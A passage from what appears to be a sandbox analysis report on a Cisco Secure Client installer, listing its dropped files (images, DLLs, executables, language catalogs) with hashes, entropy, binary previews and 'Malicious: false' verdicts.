Preview:	...... .... .....&......... .h.......(... ...@..... ........................................................................P.........................@...@...@...@...@...@...@...@...@...@...@...@...@...@..................................... .....................................@...s...s...s...s...s...s...s...s...s...s...s...s...@..............................................kY.X5..M'..M'..M'..M'..M'...@...s...s...s...s...s...s...s...s...s...s...s...s...@.........................0...........cB+.M'..M'..M'..X5..z]J.z]J.z]J.nP:..@...s...s...s...s...s...s...s...s...s...s...s...s...@.....................0.........kY.M'..M'..X5....w..........................@...s...s...s...s...s...s...s...s...s...s...s...s...@.................0........nP:.M'..M'.......................................@...s...s...s...s...s...s...s...s...s...s...s...s...@......................nP:.M'..X5...........................................@...s...s...s...s...s...s...s...s...s...s...s...s...@..................z]J.M'..X5

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\umbrella_logo.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 301 x 301, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	11585
Entropy (8bit):	7.961332304899258
Encrypted:	false
SSDEEP:	192:uoknxnFWLkyZS1HwgrTfSTVQV1r+2HPOSm9HRNxe6S1ipOvyYh95kRwjtbul4Ljh:uo4xAoKoHuVuHPOSmdfxy1ipwN5bjtbB
MD5:	FAA694AA17D61EAC6803E15397AE2C15
SHA1:	D3FBA06AA2794D460DEF2997E84EC7CBE49A83AB
SHA-256:	9AC4F60BF1A10CD08529427AAA1C419F5C4C1412D23EE5764B9EDACC3558A980
SHA-512:	5B2586AC90E5366C236AE02181172842CFDC311495157477ACB388A50CA56B5FB1EE532B753323566937012A54027DC53DE803DB4178F6F85618ADA4B015308C
Malicious:	false
Preview:	.PNG........IHDR...-...-.....].6.....pHYs...#...#.x.?v.. .IDATx....UU..7bJ_..I&.:p..#.D.2...vOU...y......I.E0...LK ...T...E_.o.H^.......QG..Hy%v.=...;....wj..Ru.>g....}._R..U..s....^{.!.....F.!&..7~.ip....G.......n..$..-.PS..%..~.)..._i.%..A.....[.<.W.P..D.S.0]+...)U..A.>..F.V (Z.RS.s.i.tMy.'S\1;(.C..}...(Z.PS.s..+Pi.tY..B....;...H..h... R..w.]T\t.p."..N,.P.rDM..Q:..8...\|K..........._.G..d.Dk.D...'+.E.P.2.L.7..\..1\|..8~...&.0...L.a..1......s..'N.......;.O..L\|}.4E.uam.1..Q(Z.c.P5&qt...........n...p~.'O.&z........q~..A..b..,.P.2...\...QA...6.qM.'.(.)[.........z.X.B....C.l@."2..P.9....$&...n.@..Bv....#b..W..n..9&..E.....!._Q}...R..b....G.g........w\..8.W....Wz.;.~~....2W.$.....=..).U..TT Z..>.;....q.".hf.+.(Z.#C..B.%a...a.4Q?g.T..l.;GD{...0..u.......r...!`.P.Y.t..A..H......h.LT...B........v)`.BH.W.P.b".X!/.p.b..;... .....hm..6.O...VD...\.......PB..............M..!...tU9.u_/..'L.....]'.A.2$.j .j..{....7..i.kaBG.6...e@M..IY..x..+V.....@..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\umbrella_logo_72.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2465
Entropy (8bit):	7.9078675566370515
Encrypted:	false
SSDEEP:	48:OSjMqJt67atsaB2Q95MFMQQYs/7uI2/D8:OSd+7OsTQTuQYszIb8
MD5:	161092451DAE50221183377F7CFB560E
SHA1:	2884EE1CAD503614512FAF274C3E0AC209F9201B
SHA-256:	8CB267EF7B475567CF0A347A4E99CC533102789A966B7285A7733FD8E4FBDE47
SHA-512:	0BD327894C7A1AFC5AF1B3CD1D678370C568DF1A06A32408B4A4A3047A846657EDC09A1A0E094565EF4004DF6FEE3FBF0A2885FE0279F4920CB91FBE1D897B14
Malicious:	false
Preview:	.PNG........IHDR...H...H.....U.G....pHYs...........~....SIDATx..\.l.U...d..v..P(t[..DDJ....-..."...5....1T.Q"i..?.....jK..ZS....) ...6........s...e.3o...........s..{.r... ..2.(.o}\|..."...6l..]n....y..t".ID.D...l..ql;vt.y...u\g..:..+{......I5DT..5.t...!....8)K.:RS..!..-...S.0....e[..8Y...E)A......H...y.yL%.uU..S].>AV.'.\%QJ..&..)z...s.U\|.!...i..5....e. .?.S#.t....#..m...ol.D.7..CM..B.WM%\|.L...E.)..P..6...A.V.d. .?....T3oF.=...JJL.qI....C.{..v..W.}.PS..........#........n%=.`.]}.._H...S..l.eL.5.9..;...x.....!).....T...q.....<.VU...n..J....i....g.{.m2$.61.9.....I..&7k..\|.'m5s.).]...7....`n$.$C.....X!)....a......9..q...0......$..9.....A......!m...:.{.....T..LZ.....&\|.H...A.0..8.O....?".,..N.V..._6R...X`.w...gx.5U....I..OIV.J...z.i.H..k...\..U.. >}..A`yi...Ct.y..8..#@Q8.'&.KK.D0y...2..i..$....Q...."j.....[Fg..0....,(9o.".8]S.#.9"ZSY.....Dtu_..ZO...G.9f.".(.$M.t+...e9&...L..NDk....$......\|.l~..O`.....G...'.,`.D3....\.g.VEqQ."..C..,.9..M.y..~."..A.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\unpinned.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 38 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3638
Entropy (8bit):	7.889316799889741
Encrypted:	false
SSDEEP:	96:TSDZ/I09Da01l+gmkyTt6Hk8nTH6gOjEda8+nWKHD:TSDS0tKg9E05THXOodrpKHD
MD5:	ADDC960D6A70987420055E0DEBCF4250
SHA1:	AF1D0C9386C1ADC774FC167F69B89637F414BED9
SHA-256:	B19F731C03166DB50BA5E0F0AD70A48E1223E7DD57B051A3DFB8CC23FBFAB482
SHA-512:	8F6D2CFA6BF8406CB2954029C0A43F3871C2C35E19CC0580925D4E847BFC6377749AB2A3FBF8CA030D55AEC3729AED6F54F7D7534A593A24927C8E274A811E1D
Malicious:	false
Preview:	.PNG........IHDR...&.........@.ln....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\unpinned_button.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 38 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4370
Entropy (8bit):	7.900909498577029
Encrypted:	false
SSDEEP:	96:TSDZ/I09Da01l+gmkyTt6Hk8nTcm/smdB4cT3NGDBWPryd:TSDS0tKg9E05Tcm/smAkMEPed
MD5:	CE71A3CEA2599D3A31ACAA9B55CA11E7
SHA1:	0592CF53E554F95BC722A21AF3CC9DF896BB6108
SHA-256:	0E0CF343355B77AA93DC0AFA9AFF96FF64EF5DFE73E9AAB57ECAA776BEC7EE7A
SHA-512:	D04AF6ED7247BCF61C969C1668A0F8F62CBA4A83E08CCFAE63755F56A4F6D49F9B1E39FABB10A3C04675828379658AE8FE414AC7682F7211C4A5F8949224E7EF
Malicious:	false
Preview:	.PNG........IHDR...&.........@.ln....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\vpn_connected.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5558
Entropy (8bit):	4.450533821817726
Encrypted:	false
SSDEEP:	96:vcn7ngbW2IU8R9Lq+LhfSnuX31xEqxpkg:E74IU8R9LqMTFxz
MD5:	EAF0F00DA8BB1D384B8A5BB3B82D0A54
SHA1:	2E7021D20D962F4568A51757B2D9B7408624740E
SHA-256:	86D5102E01D6D29D5AEE6E87E827B8C624D7B552035C9AFDB0BE2B120E4A553F
SHA-512:	57358DEA1B8A75A8FEEE29F9D83931D65672B228B93CE6C9CFEEBA3C77FD9FDB8D7B7D4A1F3188D8CBC2FEBF8B427F574791E6210580499788FF101641C01854
Malicious:	false
Preview:	...... .... .(...&......... .h...N...(... ...@..... ........................................................................ ...`...................................................................................................................p.........................................................~...~...}...}...}....0........................................`................z]J.M'..'....hm.)...................................................................................................z]J.M'..M'..M'..M'..'...%x}.+...............................................................................................M'..M'..M'...kY..............x}.....!....................................................................................xh.M'..M'..z]J.....................8y}.4...#................................................................................xh.M'..M'..............................Az~.=...%......................................................................p........M'..M'

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\vpn_logo.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 301 x 301, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9736
Entropy (8bit):	7.95835565935799
Encrypted:	false
SSDEEP:	192:uGw9FbNic2CTLMZgb0OeuEqR0+zipNb19+MUs2b4uLbFv7MLlELHz5FijB:uZ95jOAdE+0+mpNB9dObfR4LiLHz5QjB
MD5:	64C1592AB32B98889AFDB7F216B3A535
SHA1:	9DA1BF63D0E9CCF65BA0C72E615099AD30DDB2EB
SHA-256:	B649B2B24F635758C6B424EBADA07097ABB56CE73E46F056268004D79575AA8F
SHA-512:	CA8376AEB64FE49CE253BEE7F949AEBFDB6C1EAD6270C739B09751CEEA313407F7AABBA7388E4ABFA53A48A322D827EF6D4FF1D458C3FB815239407646D53C84
Malicious:	false
Preview:	.PNG........IHDR...-...-.....].6.....pHYs...#...#.x.?v.. .IDATx......}....j'.b.A...H.8B.p....IXM.Q....db..D...!.#aI..J.h..M"k?...k..t.......+!j...T7.N.y9.r........o..e......{.....?...B..\i...... ........T...u ~.h...J.4..%"..k.^...O.....".....v...+7...........M....J.z....E..(...0M+.S.R"._.2.Y..h...J.+J.+..@..-5....T.......E+.4WZG)q.H...k.]..\|C...,.P.O9.72{.......]y.....}J.:Dd;C.\|@..8J.....rEh.......c..\|?......A.D}....J.[...<E.C)y.....J.A.. i...&8.3y...t.x.9bx .6......W..&......zV^9......e..VFPA..$..b...4q.L...&..R.....7.....aK..A...........6%V....=A.f.2$Ve.ue={.8....#.....7..V.P..FE9..#> ..OuDj...ME..........+](Z).\i]...H#....>E....Npb..>+;....X.....z6...E+aT..L.U.."5..YtS...l[....'..u..qsV.k..h%DM..(l...u.5.e.YN.H.'&.C......Qbu.....EA.....l......!.Um......Q....n.b..l{t.<.+l..B{.W.P.".E..V,..._.@....... X.Y6F......}i..j.rUY.@'v \k7<.&.b....V..+....-Vn..g..X.d\.ak..K...U.@...ZToS...........,8np.....l..G.P.\|.r.MA.B)V..."....

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\vpn_logo_72.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2002
Entropy (8bit):	7.874049849617631
Encrypted:	false
SSDEEP:	48:aYtizXuhGfrlz7ES0+AXMzboB3CiWBgvnUeHAG:nkVFNA8Pq39/UegG
MD5:	513D5EA87AFF39BFAC791F6A1AEA44B6
SHA1:	1858020A95D380478119D11C567D686B3097CEC7
SHA-256:	E04B608228DB3AB98917F8B62BB3F64FFBC6E272FFD2B84B2CEB752838FE4485
SHA-512:	2F26AECB0AE3B423B79B4EFDF7CFF8535236E62102F0F4DB9C98A88243B3B1A6EE5CB30F6D049FC3F5E19ABBF22C5DF19805ACB2F7FD3BEB77D7D33AA351E5D5
Malicious:	false
Preview:	.PNG........IHDR...H...H.....U.G....pHYs...........~.....IDATx..{lSU...vK.nl%.6..... ...0.q#D.?d....C1!j..G.Q0.,A:b.q..5d...L%...H..I@.9..B.G..E.=.SN.n....n.&..]...........A1..Z\BD6"..G.?..AD.~....l?...G...Z.KD.DTAD%.{.V,a....(#=..{..a:........)/.H-Dt..l.f....l-.p(5.;.ge2 E.K.....ro?....9v.9.....r.m...8.-.....JW.....K............\..]OP..R...lz...J...\|P..uP.-...J3 ...Ui.......OxcK..@...L.Bl..8....{M.b...m.b.1....^.(...UG.M..2[..x..k.[K;.=G.SR5.....Fh{...\|..qo..8....PR._0[..&...SR....^..(M.d6.B .Lek...<j;}.r.s..k........q8M........z..5..MkV/..?]J......kw8.B.b..:...qW...U.g^..O.}.\|/$@.s..0].r..twR..o.7.....4.J.Gs-6.....C.@..Ho8.s..0u...{..r3.Ri.S.U.B....Vm...Y...9.K}.`..7U..y..I.....j................+..d.p].'.>.O..U.....<....F..X.....9.M..5w....e>@wO[.<C).r.\|.Z.....e.....t..>............E].N:xa...,)Y....T4.a.~.U..0.^U8.A..............\|Y.....@O...)?)..9.v^...W.#.2-M.:M.@..O.......l....T..L.....,..P.''...E...ZUX@-..P.V&eX.......M...<.c+.A....K...V.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\csc_ui_setup.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	328808
Entropy (8bit):	6.41821402390606
Encrypted:	false
SSDEEP:	6144:VVLKYsv1i9CFGc8FZlkTPDB25C67bAOxAwArOU:VA1i9CFGcIZ6BsbkwAiU
MD5:	91F373CDC458934ADAB159BE8A7E5DCC
SHA1:	478AB55BCF5567BC3DAF208BD6F93814CC209C4A
SHA-256:	3E8F341ECFE24B6858A8E6EFD620CAE1F4D8C1F54B66FA20D7A8E9D97B5C1397
SHA-512:	1A1725C2AB15C9A16052F19F34BA9070ADE15A98F240220E74D5D21915EA296F2F14D7CA112A0AF9573E94D1A60DD79E38D1328888ECDB5DC0EA0690BD9E32D7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........u.:...i...i...i...h...i...h...i...h...iy`.h...iy`.h...iy`.h...i...h...i...h...i...i-..i{`.h...i{`.h...i{`ii...i...i...i{`.h...iRich...i........PE..L...n..d...........!.........0............................................................@A................................l...d.......................hH.......)..0...T...............................@............................................text...Z........................... ..`.rdata..............................@..@.data................x..............@....rsrc...............................@..@.reloc...).......*..................@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\is-V7O6A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	328808
Entropy (8bit):	6.41821402390606
Encrypted:	false
SSDEEP:	6144:VVLKYsv1i9CFGc8FZlkTPDB25C67bAOxAwArOU:VA1i9CFGcIZ6BsbkwAiU
MD5:	91F373CDC458934ADAB159BE8A7E5DCC
SHA1:	478AB55BCF5567BC3DAF208BD6F93814CC209C4A
SHA-256:	3E8F341ECFE24B6858A8E6EFD620CAE1F4D8C1F54B66FA20D7A8E9D97B5C1397
SHA-512:	1A1725C2AB15C9A16052F19F34BA9070ADE15A98F240220E74D5D21915EA296F2F14D7CA112A0AF9573E94D1A60DD79E38D1328888ECDB5DC0EA0690BD9E32D7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........u.:...i...i...i...h...i...h...i...h...iy`.h...iy`.h...iy`.h...i...h...i...h...i...i-..i{`.h...i{`.h...i{`ii...i...i...i{`.h...iRich...i........PE..L...n..d...........!.........0............................................................@A................................l...d.......................hH.......)..0...T...............................@............................................text...Z........................... ..`.rdata..............................@..@.data................x..............@....rsrc...............................@..@.reloc...).......*..................@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\csc_ui.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3058280
Entropy (8bit):	6.02927936674107
Encrypted:	false
SSDEEP:	49152:I4MfZ031DVdQtj3IDJyfxR6oSmmr2E2y/dVevljoZj8OdoiM/dBVxfkT2vfsLt70:mR3IDJy5R6Smr9/jevlj67KBVxfkQ
MD5:	24DE4ED3FF1FA997F867B591BE4E001D
SHA1:	744D45EBD394880598B597D882AE2B634B9261FB
SHA-256:	7C4330C4BD0C6890C7EFC49AF493056B92332C65BE2BF885CD2A599369BA5349
SHA-512:	8A32756CFFCD10D6DF5F0B6DA917A203115431FE101B2B7746B1D8E76956B12F6AF5CE89BCE29BC505558943F4D661D45E2630B4B5790625B968549146EBEC88
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........[...5Y..5Y..5Y.6X..5Y.0X..5Y..1X..5Y..6X..5Y.1X..5Y..0X..5Y..0X..5Y.4X..5Y..4Y..5Y..<XZ.5Y...Y..5Y..Y..5Y..7X..5YRich..5Y................PE..L......d.................\...(...............p....@.................................../...@..................................n..h.....#..Y...........b..hH...@,.<d......T...................@.......h...@............p..\|............................text....Z.......\.................. ..`.rdata...(...p...*...`..............@..@.data....<..........................@....rsrc....Y....#..Z....#.............@..@.reloc..<d...@,..f....+.............@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\csc_ui_toast.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	124520
Entropy (8bit):	6.630785150590808
Encrypted:	false
SSDEEP:	3072:G32Q9YYQbxksfyuSq/NyDbUzb7DCp+iSc9lxma:IhvQSphq/M8vpc9ia
MD5:	0B9FFCA43DA7770F1D5C77C7E9B9B3FE
SHA1:	F4FF02AC97542DAA7AFFA5AF61E956752CCE1809
SHA-256:	329F104D7F9E76BC20CAF68BA7AFC081B7E85EC9DF50E42C715CED146DDF4041
SHA-512:	15F52C15D6A9BFCFA2EAC5045E1DE6087A2222ACD701C7DD2376C3178659C6D83D26E6AED1AF8DD2EF1E8F493B10E4EFE13010C8C670627C748890FFE160917C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Y....v...v...v.......v......v......>v.......v.......v.......v.......v....q..v...v..Dv.......v.......v.......v...vu..v.......v..Rich.v..........PE..L......d...........!................PF..............................................q.....@A.........................y..$....z..d.......................hH...........a..T...........................Hb..@...............4............................text............................... ..`.rdata..Pr.......t..................@..@.data................l..............@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\is-8QMTQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	124520
Entropy (8bit):	6.630785150590808
Encrypted:	false
SSDEEP:	3072:G32Q9YYQbxksfyuSq/NyDbUzb7DCp+iSc9lxma:IhvQSphq/M8vpc9ia
MD5:	0B9FFCA43DA7770F1D5C77C7E9B9B3FE
SHA1:	F4FF02AC97542DAA7AFFA5AF61E956752CCE1809
SHA-256:	329F104D7F9E76BC20CAF68BA7AFC081B7E85EC9DF50E42C715CED146DDF4041
SHA-512:	15F52C15D6A9BFCFA2EAC5045E1DE6087A2222ACD701C7DD2376C3178659C6D83D26E6AED1AF8DD2EF1E8F493B10E4EFE13010C8C670627C748890FFE160917C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Y....v...v...v.......v......v......>v.......v.......v.......v.......v....q..v...v..Dv.......v.......v.......v...vu..v.......v..Rich.v..........PE..L......d...........!................PF..............................................q.....@A.........................y..$....z..d.......................hH...........a..T...........................Hb..@...............4............................text............................... ..`.rdata..Pr.......t..................@..@.data................l..............@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\is-BSCSU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3058280
Entropy (8bit):	6.02927936674107
Encrypted:	false
SSDEEP:	49152:I4MfZ031DVdQtj3IDJyfxR6oSmmr2E2y/dVevljoZj8OdoiM/dBVxfkT2vfsLt70:mR3IDJy5R6Smr9/jevlj67KBVxfkQ
MD5:	24DE4ED3FF1FA997F867B591BE4E001D
SHA1:	744D45EBD394880598B597D882AE2B634B9261FB
SHA-256:	7C4330C4BD0C6890C7EFC49AF493056B92332C65BE2BF885CD2A599369BA5349
SHA-512:	8A32756CFFCD10D6DF5F0B6DA917A203115431FE101B2B7746B1D8E76956B12F6AF5CE89BCE29BC505558943F4D661D45E2630B4B5790625B968549146EBEC88
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........[...5Y..5Y..5Y.6X..5Y.0X..5Y..1X..5Y..6X..5Y.1X..5Y..0X..5Y..0X..5Y.4X..5Y..4Y..5Y..<XZ.5Y...Y..5Y..Y..5Y..7X..5YRich..5Y................PE..L......d.................\...(...............p....@.................................../...@..................................n..h.....#..Y...........b..hH...@,.<d......T...................@.......h...@............p..\|............................text....Z.......\.................. ..`.rdata...(...p...*...`..............@..@.data....<..........................@....rsrc....Y....#..Z....#.............@..@.reloc..<d...@,..f....+.............@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\cs-cz\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	350819
Entropy (8bit):	5.461097780903613
Encrypted:	false
SSDEEP:	3072:LjH3U1ogMmeb7oVBKIuDVKuAYjG+chxEb1XVnh2MR+5+dJT8eRrDIpFmv0K1t:LjH3UKuVVBKfKh+qMR+5+dJTXDX1t
MD5:	2967DEC829A8EB7B1B28EDE05C47DCB8
SHA1:	F02FD55BF471D0BC97FE6F71ABC0A795B9C87475
SHA-256:	105BEB70A051B9C21C5C98EAB6F3C3E5EC01A54D6FDF25E86FD5BC9F113362DF
SHA-512:	A79CC293592DEF70B0C9EC83874DF23B4FA71DCAAA5C5656B2B0533BC7A91BCC8A65FCBF48124FD2E49D9CCA4B373E03F8294805F76BA19742377DA6856928FE
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\cs-cz\LC_MESSAGES\is-7QEVI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	350819
Entropy (8bit):	5.461097780903613
Encrypted:	false
SSDEEP:	3072:LjH3U1ogMmeb7oVBKIuDVKuAYjG+chxEb1XVnh2MR+5+dJT8eRrDIpFmv0K1t:LjH3UKuVVBKfKh+qMR+5+dJTXDX1t
MD5:	2967DEC829A8EB7B1B28EDE05C47DCB8
SHA1:	F02FD55BF471D0BC97FE6F71ABC0A795B9C87475
SHA-256:	105BEB70A051B9C21C5C98EAB6F3C3E5EC01A54D6FDF25E86FD5BC9F113362DF
SHA-512:	A79CC293592DEF70B0C9EC83874DF23B4FA71DCAAA5C5656B2B0533BC7A91BCC8A65FCBF48124FD2E49D9CCA4B373E03F8294805F76BA19742377DA6856928FE
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\de-de\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	361321
Entropy (8bit):	5.209740954129793
Encrypted:	false
SSDEEP:	6144:LjH3UK9dlRVBKfKh++1/nK0Gg4tIOIeJgzu7b:L7hD1/Eqi
MD5:	896374392BD925153CD66C80C719F912
SHA1:	E640B935A2400502607218A0ACA6CC281EFC26A5
SHA-256:	D8264819DB8F3D333ECAC920A8C7240878114F30610EAB49FD817005199A8D29
SHA-512:	3693C050D0E759439E1B03144F623AB735F268D44F97AC7E7726CAF10B5D43F7266EAD8BD8267F57B79AFEF35945BE8D9157F77C77AFCC367C77706600925EB5
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\l10n\de-de\LC_MESSAGES\is-17CQE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
